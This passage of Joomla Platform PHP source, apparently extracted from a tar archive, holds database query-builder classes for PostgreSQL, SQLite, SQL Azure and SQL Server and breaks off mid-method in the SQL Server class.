Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQueryPgsql
*
* @since 3.9.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.9.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryPgsql Returns this object to allow chaining.
*
* @since 3.9.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
return parent::clear($clause);
}
}
database/query/postgresql.php000064400000041030151171674100012372
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.3
* @deprecated 4.0 Use PDO PostgreSQL instead
*/
class JDatabaseQueryPostgresql extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* @var object The FOR UPDATE element used in "FOR UPDATE"
lock
* @since 1.7.3
*/
protected $forUpdate = null;
/**
* @var object The FOR SHARE element used in "FOR SHARE"
lock
* @since 1.7.3
*/
protected $forShare = null;
/**
* @var object The NOWAIT element used in "FOR SHARE" and
"FOR UPDATE" lock
* @since 1.7.3
*/
protected $noWait = null;
/**
* @var object The LIMIT element
* @since 1.7.3
*/
protected $limit = null;
/**
* @var object The OFFSET element
* @since 1.7.3
*/
protected $offset = null;
/**
* @var object The RETURNING element of INSERT INTO
* @since 1.7.3
*/
protected $returning = null;
/**
* Magic function to convert the query to a string, only for postgresql
specific query
*
* @return string The completed query.
*
* @since 1.7.3
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber &&
$this->selectRowNumber['native'] === false)
{
// Workaround for postgresql version less than 8.4.0
try
{
$this->db->setQuery('CREATE TEMP SEQUENCE
ROW_NUMBER');
$this->db->execute();
}
catch (JDatabaseExceptionExecuting $e)
{
// Do nothing, sequence exists
}
$orderBy = $this->selectRowNumber['orderBy'];
$orderColumnAlias =
$this->selectRowNumber['orderColumnAlias'];
$columns = "nextval('ROW_NUMBER') - 1 AS
$orderColumnAlias";
if ($this->select === null)
{
$query = PHP_EOL . "SELECT 1"
. (string) $this->from
. (string) $this->where;
}
else
{
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$columns = "w.*, $columns";
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
}
// Add support for second order by, offset and limit
$query = PHP_EOL . "SELECT $columns FROM (" . $query .
PHP_EOL . "ORDER BY $orderBy"
. PHP_EOL . ") w,(SELECT setval('ROW_NUMBER', 1)) AS
r";
if ($this->order)
{
$query .= (string) $this->order;
}
break;
}
$query .= (string) $this->select;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber)
{
if ($this->order)
{
$query .= (string) $this->order;
}
break;
}
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this->forUpdate)
{
$query .= (string) $this->forUpdate;
}
else
{
if ($this->forShare)
{
$query .= (string) $this->forShare;
}
}
if ($this->noWait)
{
$query .= (string) $this->noWait;
}
break;
case 'update':
$query .= (string) $this->update;
$query .= (string) $this->set;
if ($this->join)
{
$tmpFrom = $this->from;
$tmpWhere = $this->where ? clone $this->where : null;
$this->from = null;
// Workaround for special case of JOIN with UPDATE
foreach ($this->join as $join)
{
$joinElem = $join->getElements();
$joinArray = preg_split('/\sON\s/i', $joinElem[0]);
if (count($joinArray) > 2)
{
$condition = array_pop($joinArray);
$joinArray = array(implode(' ON ', $joinArray),
$condition);
}
$this->from($joinArray[0]);
if (isset($joinArray[1]))
{
$this->where($joinArray[1]);
}
}
$query .= (string) $this->from;
if ($this->where)
{
$query .= (string) $this->where;
}
$this->from = $tmpFrom;
$this->where = $tmpWhere;
}
elseif ($this->where)
{
$query .= (string) $this->where;
}
break;
case 'insert':
$query .= (string) $this->insert;
if ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->values->getElements();
if (!($elements[0] instanceof $this))
{
$query .= ' VALUES ';
}
$query .= (string) $this->values;
if ($this->returning)
{
$query .= (string) $this->returning;
}
}
break;
default:
$query = parent::__toString();
break;
}
if ($this instanceof JDatabaseQueryLimitable)
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
return $query;
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function clear($clause = null)
{
switch ($clause)
{
case 'limit':
$this->limit = null;
break;
case 'offset':
$this->offset = null;
break;
case 'forUpdate':
$this->forUpdate = null;
break;
case 'forShare':
$this->forShare = null;
break;
case 'noWait':
$this->noWait = null;
break;
case 'returning':
$this->returning = null;
break;
case 'select':
case 'update':
case 'delete':
case 'insert':
case 'from':
case 'join':
case 'set':
case 'where':
case 'group':
case 'having':
case 'order':
case 'columns':
case 'values':
parent::clear($clause);
break;
default:
$this->type = null;
$this->limit = null;
$this->offset = null;
$this->forUpdate = null;
$this->forShare = null;
$this->noWait = null;
$this->returning = null;
parent::clear($clause);
break;
}
return $this;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* Usage:
* $query->select($query->castAsChar('a'));
* $query->select($query->castAsChar('a', 40));
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.3
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return $value . '::text';
}
else
{
return ' CAST(' . $value . ' AS CHAR(' . $len .
'))';
}
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.3
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Gets the current date and time.
*
* @return string Return string used in query to obtain
*
* @since 1.7.3
*/
public function currentTimestamp()
{
return 'NOW()';
}
/**
* Sets the FOR UPDATE lock on select's output row
*
* @param string $tableName The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return JDatabaseQueryPostgresql FOR UPDATE query element
*
* @since 1.7.3
*/
public function forUpdate($tableName, $glue = ',')
{
$this->type = 'forUpdate';
if (is_null($this->forUpdate))
{
$glue = strtoupper($glue);
$this->forUpdate = new JDatabaseQueryElement('FOR UPDATE',
'OF ' . $tableName, "$glue ");
}
else
{
$this->forUpdate->append($tableName);
}
return $this;
}
/**
* Sets the FOR SHARE lock on select's output row
*
* @param string $tableName The table to lock
* @param string $glue The glue by which to join the conditions.
Defaults to ',' .
*
* @return JDatabaseQueryPostgresql FOR SHARE query element
*
* @since 1.7.3
*/
public function forShare($tableName, $glue = ',')
{
$this->type = 'forShare';
if (is_null($this->forShare))
{
$glue = strtoupper($glue);
$this->forShare = new JDatabaseQueryElement('FOR SHARE',
'OF ' . $tableName, "$glue ");
}
else
{
$this->forShare->append($tableName);
}
return $this;
}
/**
* Used to get a string to extract year from date column.
*
* Usage:
*
$query->select($query->year($query->quoteName('dateColumn')));
*
* @param string $date Date column containing year to be extracted.
*
* @return string Returns string to extract year from a date.
*
* @since 3.0.0
*/
public function year($date)
{
return 'EXTRACT (YEAR FROM ' . $date . ')';
}
/**
* Used to get a string to extract month from date column.
*
* Usage:
*
$query->select($query->month($query->quoteName('dateColumn')));
*
* @param string $date Date column containing month to be extracted.
*
* @return string Returns string to extract month from a date.
*
* @since 3.0.0
*/
public function month($date)
{
return 'EXTRACT (MONTH FROM ' . $date . ')';
}
/**
* Used to get a string to extract day from date column.
*
* Usage:
*
$query->select($query->day($query->quoteName('dateColumn')));
*
* @param string $date Date column containing day to be extracted.
*
* @return string Returns string to extract day from a date.
*
* @since 3.0.0
*/
public function day($date)
{
return 'EXTRACT (DAY FROM ' . $date . ')';
}
/**
* Used to get a string to extract hour from date column.
*
* Usage:
*
$query->select($query->hour($query->quoteName('dateColumn')));
*
* @param string $date Date column containing hour to be extracted.
*
* @return string Returns string to extract hour from a date.
*
* @since 3.0.0
*/
public function hour($date)
{
return 'EXTRACT (HOUR FROM ' . $date . ')';
}
/**
* Used to get a string to extract minute from date column.
*
* Usage:
*
$query->select($query->minute($query->quoteName('dateColumn')));
*
* @param string $date Date column containing minute to be extracted.
*
* @return string Returns string to extract minute from a date.
*
* @since 3.0.0
*/
public function minute($date)
{
return 'EXTRACT (MINUTE FROM ' . $date . ')';
}
/**
* Used to get a string to extract seconds from date column.
*
* Usage:
*
$query->select($query->second($query->quoteName('dateColumn')));
*
* @param string $date Date column containing second to be extracted.
*
* @return string Returns string to extract second from a date.
*
* @since 3.0.0
*/
public function second($date)
{
return 'EXTRACT (SECOND FROM ' . $date . ')';
}
/**
* Sets the NOWAIT lock on select's output row
*
* @return JDatabaseQueryPostgresql NO WAIT query element
*
* @since 1.7.3
*/
public function noWait ()
{
$this->type = 'noWait';
if (is_null($this->noWait))
{
$this->noWait = new JDatabaseQueryElement('NOWAIT', null);
}
return $this;
}
/**
* Set the LIMIT clause to the query
*
* @param integer $limit An int of how many row will be returned
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function limit($limit = 0)
{
if (is_null($this->limit))
{
$this->limit = new JDatabaseQueryElement('LIMIT', (int)
$limit);
}
return $this;
}
/**
* Set the OFFSET clause to the query
*
* @param integer $offset An int for skipping row
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function offset($offset = 0)
{
if (is_null($this->offset))
{
$this->offset = new JDatabaseQueryElement('OFFSET', (int)
$offset);
}
return $this;
}
/**
* Add the RETURNING element to INSERT INTO statement.
*
* @param mixed $pkCol The name of the primary key column.
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 1.7.3
*/
public function returning($pkCol)
{
if (is_null($this->returning))
{
$this->returning = new JDatabaseQueryElement('RETURNING',
$pkCol);
}
return $this;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQueryPostgresql Returns this object to allow
chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0)
{
$query .= ' LIMIT ' . $limit;
}
if ($offset > 0)
{
$query .= ' OFFSET ' . $offset;
}
return $query;
}
/**
* Add to the current date and time in Postgresql.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param string $date The db quoted string representation of the
date to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @note Not all drivers support all units. Check appropriate
references
* @link
http://www.postgresql.org/docs/9.0/static/functions-datetime.html.
*/
public function dateAdd($date, $interval, $datePart)
{
if (substr($interval, 0, 1) != '-')
{
return "timestamp " . $date . " + interval '" .
$interval . " " . $datePart . "'";
}
else
{
return "timestamp " . $date . " - interval '" .
ltrim($interval, '-') . " " . $datePart .
"'";
}
}
/**
* Return correct regexp operator for Postgresql.
*
* Ensure that the regexp operator is Postgresql compatible.
*
* Usage:
* $query->where('field ' . $query->regexp($search));
*
* @param string $value The regex pattern.
*
* @return string Returns the regex operator.
*
* @since 1.7.3
*/
public function regexp($value)
{
return ' ~* ' . $value;
}
/**
* Return correct rand() function for Postgresql.
*
* Ensure that the rand() function is Postgresql compatible.
*
* Usage:
* $query->Rand();
*
* @return string The correct rand function.
*
* @since 3.5
*/
public function Rand()
{
return ' RANDOM() ';
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
if (version_compare($this->db->getVersion(), '8.4.0')
>= 0)
{
$this->selectRowNumber['native'] = true;
$this->select("ROW_NUMBER() OVER (ORDER BY $orderBy) AS
$orderColumnAlias");
}
else
{
$this->selectRowNumber['native'] = false;
}
return $this;
}
}
database/query/preparable.php000064400000003705151171674100012313
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Joomla Database Query Preparable Interface.
* Adds bind/unbind methods as well as a getBounded() method
* to retrieve the stored bounded variables on demand prior to
* query execution.
*
* @since 3.0.0
*/
interface JDatabaseQueryPreparable
{
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQuery
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array());
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null);
}
database/query/sqlazure.php000064400000001470151171674100012041
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQuerySqlazure extends JDatabaseQuerySqlsrv
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
*
* @since 1.7.0
*/
protected $name_quotes = '';
}
database/query/sqlite.php000064400000024343151171674100011500
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* SQLite Query Building Class.
*
* @since 3.0.0
*/
class JDatabaseQuerySqlite extends JDatabaseQueryPdo implements
JDatabaseQueryPreparable, JDatabaseQueryLimitable
{
/**
* @var integer The offset for the result set.
* @since 3.0.0
*/
protected $offset;
/**
* @var integer The limit for the result set.
* @since 3.0.0
*/
protected $limit;
/**
* @var array Bounded object array
* @since 3.0.0
*/
protected $bounded = array();
/**
* Method to add a variable to an internal array that will be bound to a
prepared SQL statement before query execution. Also
* removes a variable that has been bounded from the internal bounded
array when the passed in value is null.
*
* @param string|integer $key The key that will be used in
your SQL query to reference the value. Usually of
* the form ':key', but
can also be an integer.
* @param mixed &$value The value that will be
bound. The value is passed by reference to support output
* parameters such as those
possible with stored procedures.
* @param integer $dataType Constant corresponding to a
SQL datatype.
* @param integer $length The length of the variable.
Usually required for OUTPUT parameters.
* @param array $driverOptions Optional driver options to be
used.
*
* @return JDatabaseQuerySqlite
*
* @since 3.0.0
*/
public function bind($key = null, &$value = null, $dataType =
PDO::PARAM_STR, $length = 0, $driverOptions = array())
{
// Case 1: Empty Key (reset $bounded array)
if (empty($key))
{
$this->bounded = array();
return $this;
}
// Case 2: Key Provided, null value (unset key from $bounded array)
if (is_null($value))
{
if (isset($this->bounded[$key]))
{
unset($this->bounded[$key]);
}
return $this;
}
$obj = new stdClass;
$obj->value = &$value;
$obj->dataType = $dataType;
$obj->length = $length;
$obj->driverOptions = $driverOptions;
// Case 3: Simply add the Key/Value into the bounded array
$this->bounded[$key] = $obj;
return $this;
}
/**
* Retrieves the bound parameters array when key is null and returns it by
reference. If a key is provided then that item is
* returned.
*
* @param mixed $key The bounded variable key to retrieve.
*
* @return mixed
*
* @since 3.0.0
*/
public function &getBounded($key = null)
{
if (empty($key))
{
return $this->bounded;
}
else
{
if (isset($this->bounded[$key]))
{
return $this->bounded[$key];
}
}
}
/**
* Gets the number of characters in a string.
*
* Note, use 'length' to find the number of bytes in a string.
*
* Usage:
* $query->select($query->charLength('a'));
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 3.2.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'length(' . $field . ')' . (isset($operator)
&& isset($condition) ? ' ' . $operator . ' ' .
$condition : '');
}
/**
* Clear data from the query or a specific clause of the query.
*
* @param string $clause Optionally, the name of the clause to clear,
or nothing to clear the whole query.
*
* @return JDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function clear($clause = null)
{
switch ($clause)
{
case null:
$this->bounded = array();
break;
}
parent::clear($clause);
return $this;
}
/**
* Concatenates an array of column names or values.
*
* Usage:
* $query->select($query->concatenate(array('a',
'b')));
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return implode(' || ' . $this->quote($separator) . '
|| ', $values);
}
else
{
return implode(' || ', $values);
}
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset. This method is used
* automatically by the __toString() method if it detects that the
* query implements the JDatabaseQueryLimitable interface.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit > 0 || $offset > 0)
{
$query .= ' LIMIT ' . $offset . ', ' . $limit;
}
return $query;
}
/**
* Sets the offset and limit for the result set, if the database driver
supports it.
*
* Usage:
* $query->setLimit(100, 0); (retrieve 100 rows, starting at first
record)
* $query->setLimit(50, 50); (retrieve 50 rows, starting at 50th
record)
*
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return JDatabaseQuerySqlite Returns this object to allow chaining.
*
* @since 3.0.0
*/
public function setLimit($limit = 0, $offset = 0)
{
$this->limit = (int) $limit;
$this->offset = (int) $offset;
return $this;
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date or datetime to add to
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @link http://www.sqlite.org/lang_datefunc.html
*/
public function dateAdd($date, $interval, $datePart)
{
// SQLite does not support microseconds as a separate unit. Convert the
interval to seconds
if (strcasecmp($datePart, 'microseconds') == 0)
{
// Force the dot as a decimal point
$interval = str_replace(',', '.', .001 * $interval);
$datePart = 'seconds';
}
if (substr($interval, 0, 1) != '-')
{
return "datetime('" . $date . "', '+"
. $interval . " " . $datePart . "')";
}
else
{
return "datetime('" . $date . "', '"
. $interval . " " . $datePart . "')";
}
}
/**
* Gets the current date and time.
*
* Usage:
* $query->where('published_up <
'.$query->currentTimestamp());
*
* @return string
*
* @since 3.4
*/
public function currentTimestamp()
{
return 'CURRENT_TIMESTAMP';
}
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
switch ($this->type)
{
case 'select':
if ($this->selectRowNumber)
{
$orderBy = $this->selectRowNumber['orderBy'];
$orderColumnAlias =
$this->selectRowNumber['orderColumnAlias'];
$column = "ROW_NUMBER() AS $orderColumnAlias";
if ($this->select === null)
{
$query = PHP_EOL . "SELECT 1"
. (string) $this->from
. (string) $this->where;
}
else
{
$tmpOffset = $this->offset;
$tmpLimit = $this->limit;
$this->offset = 0;
$this->limit = 0;
$tmpOrder = $this->order;
$this->order = null;
$query = parent::__toString();
$column = "w.*, $column";
$this->order = $tmpOrder;
$this->offset = $tmpOffset;
$this->limit = $tmpLimit;
}
// Special sqlite query to count ROW_NUMBER
$query = PHP_EOL . "SELECT $column"
. PHP_EOL . "FROM ($query" . PHP_EOL . "ORDER BY
$orderBy"
. PHP_EOL . ") AS w,(SELECT ROW_NUMBER(0)) AS r"
// Forbid to flatten subqueries.
. ((string) $this->order ?: PHP_EOL . 'ORDER BY NULL');
return $this->processLimit($query, $this->limit,
$this->offset);
}
break;
case 'update':
if ($this->join)
{
$table = $this->update->getElements();
$table = $table[0];
$tableName = explode(' ', $table);
$tableName = $tableName[0];
if ($this->columns === null)
{
$fields = $this->db->getTableColumns($tableName);
foreach ($fields as $key => $value)
{
$fields[$key] = $key;
}
$this->columns = new JDatabaseQueryElement('()',
$fields);
}
$fields = $this->columns->getElements();
$elements = $this->set->getElements();
foreach ($elements as $nameValue)
{
$setArray = explode(' = ', $nameValue, 2);
if ($setArray[0][0] === '`')
{
// Unquote column name
$setArray[0] = substr($setArray[0], 1, -1);
}
$fields[$setArray[0]] = $setArray[1];
}
$select = new JDatabaseQuerySqlite($this->db);
$select->select(array_values($fields))
->from($table);
$select->join = $this->join;
$select->where = $this->where;
return 'INSERT OR REPLACE INTO ' . $tableName
. ' (' . implode(',', array_keys($fields)) .
')'
. (string) $select;
}
}
return parent::__toString();
}
/**
* Return the number of the current row.
*
* @param string $orderBy An expression of ordering for
window function.
* @param string $orderColumnAlias An alias for new ordering column.
*
* @return JDatabaseQuery Returns this object to allow chaining.
*
* @since 3.7.0
* @throws RuntimeException
*/
public function selectRowNumber($orderBy, $orderColumnAlias)
{
$this->validateRowNumber($orderBy, $orderColumnAlias);
return $this;
}
}
database/query/sqlsrv.php000064400000056775151171674100011547
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Query Building Class.
*
* @since 1.7.0
*/
class JDatabaseQuerySqlsrv extends JDatabaseQuery implements
JDatabaseQueryLimitable
{
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 1.7.0
*/
protected $name_quotes = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 1.7.0
*/
protected $null_date = '1900-01-01 00:00:00';
/**
* @var integer The affected row limit for the current SQL statement.
* @since 3.2
*/
protected $limit = 0;
/**
* @var integer The affected row offset to apply for the current SQL
statement.
* @since 3.2
*/
protected $offset = 0;
/**
* Magic function to convert the query to a string.
*
* @return string The completed query.
*
* @since 1.7.0
*/
public function __toString()
{
$query = '';
switch ($this->type)
{
case 'select':
// Add required aliases for offset or fixGroupColumns method
$columns = $this->fixSelectAliases();
$query = (string) $this->select;
if ($this->group)
{
$this->fixGroupColumns($columns);
}
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->selectRowNumber === null)
{
if ($this->group)
{
$query .= (string) $this->group;
}
if ($this->having)
{
$query .= (string) $this->having;
}
}
if ($this->order)
{
$query .= (string) $this->order;
}
if ($this instanceof JDatabaseQueryLimitable &&
($this->limit > 0 || $this->offset > 0))
{
$query = $this->processLimit($query, $this->limit,
$this->offset);
}
break;
case 'insert':
$query .= (string) $this->insert;
// Set method
if ($this->set)
{
$query .= (string) $this->set;
}
// Columns-Values method
elseif ($this->values)
{
if ($this->columns)
{
$query .= (string) $this->columns;
}
$elements = $this->insert->getElements();
$tableName = array_shift($elements);
$query .= 'VALUES ';
$query .= (string) $this->values;
if ($this->autoIncrementField)
{
$query = 'SET IDENTITY_INSERT ' . $tableName . '
ON;' . $query . 'SET IDENTITY_INSERT ' . $tableName . '
OFF;';
}
if ($this->where)
{
$query .= (string) $this->where;
}
}
break;
case 'delete':
$query .= (string) $this->delete;
$query .= (string) $this->from;
if ($this->join)
{
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
case 'update':
if ($this->join)
{
$tmpUpdate = $this->update;
$tmpFrom = $this->from;
$this->update = null;
$this->from = null;
$updateElem = $tmpUpdate->getElements();
$updateArray = explode(' ', $updateElem[0]);
// Use table alias if exists
$this->update(end($updateArray));
$this->from($updateElem[0]);
$query .= (string) $this->update;
$query .= (string) $this->set;
$query .= (string) $this->from;
$this->update = $tmpUpdate;
$this->from = $tmpFrom;
// Special case for joins
foreach ($this->join as $join)
{
$query .= (string) $join;
}
}
else
{
$query .= (string) $this->update;
$query .= (string) $this->set;
}
if ($this->where)
{
$query .= (string) $this->where;
}
if ($this->order)
{
$query .= (string) $this->order;
}
break;
default:
$query = parent::__toString();
break;
}
return $query;
}
/**
* Casts a value to a char.
*
* Ensure that the value is properly quoted before passing to the method.
*
* @param string $value The value to cast as a char.
*
* @param string $len The length of the char.
*
* @return string Returns the cast value.
*
* @since 1.7.0
*/
public function castAsChar($value, $len = null)
{
if (!$len)
{
return 'CAST(' . $value . ' as NVARCHAR(30))';
}
else
{
return 'CAST(' . $value . ' as NVARCHAR(' . $len .
'))';
}
}
/**
* Gets the function to determine the length of a character string.
*
* @param string $field A value.
* @param string $operator Comparison operator between charLength
integer value and $condition
* @param string $condition Integer value to compare charLength with.
*
* @return string The required char length call.
*
* @since 1.7.0
*/
public function charLength($field, $operator = null, $condition = null)
{
return 'DATALENGTH(' . $field . ')' .
(isset($operator) && isset($condition) ? ' ' . $operator
. ' ' . $condition : '');
}
/**
* Concatenates an array of column names or values.
*
* @param array $values An array of values to concatenate.
* @param string $separator As separator to place between each value.
*
* @return string The concatenated values.
*
* @since 1.7.0
*/
public function concatenate($values, $separator = null)
{
if ($separator)
{
return '(' . implode('+' .
$this->quote($separator) . '+', $values) . ')';
}
else
{
return '(' . implode('+', $values) . ')';
}
}
/**
* Gets the current date and time.
*
* @return string
*
* @since 1.7.0
*/
public function currentTimestamp()
{
return 'GETDATE()';
}
/**
* Get the length of a string in bytes.
*
* @param string $value The string to measure.
*
* @return integer
*
* @since 1.7.0
*/
public function length($value)
{
return 'LEN(' . $value . ')';
}
/**
* Add to the current date and time.
* Usage:
* $query->select($query->dateAdd());
* Prefixing the interval with a - (negative sign) will cause subtraction
to be used.
*
* @param datetime $date The date to add to; type may be time or
datetime.
* @param string $interval The string representation of the
appropriate number of units
* @param string $datePart The part of the date to perform the
addition on
*
* @return string The string with the appropriate sql for addition of
dates
*
* @since 3.2.0
* @note Not all drivers support all units.
* @link http://msdn.microsoft.com/en-us/library/ms186819.aspx for more
information
*/
public function dateAdd($date, $interval, $datePart)
{
return 'DATEADD(' . $datePart . ', ' . $interval .
', ' . $date . ')';
}
/**
* Method to modify a query already in string format with the needed
* additions to make the query limited to a particular number of
* results, or start at a particular offset.
*
* @param string $query The query in string format
* @param integer $limit The limit for the result set
* @param integer $offset The offset for the result set
*
* @return string
*
* @since 3.0.0
*/
public function processLimit($query, $limit, $offset = 0)
{
if ($limit)
{
$total = $offset + $limit;
$position = stripos($query, 'SELECT');
$distinct = stripos($query, 'SELECT DISTINCT');
if ($position === $distinct)
{
$query = substr_replace($query, 'SELECT DISTINCT TOP ' .
(int) $total, $position, 15);
}
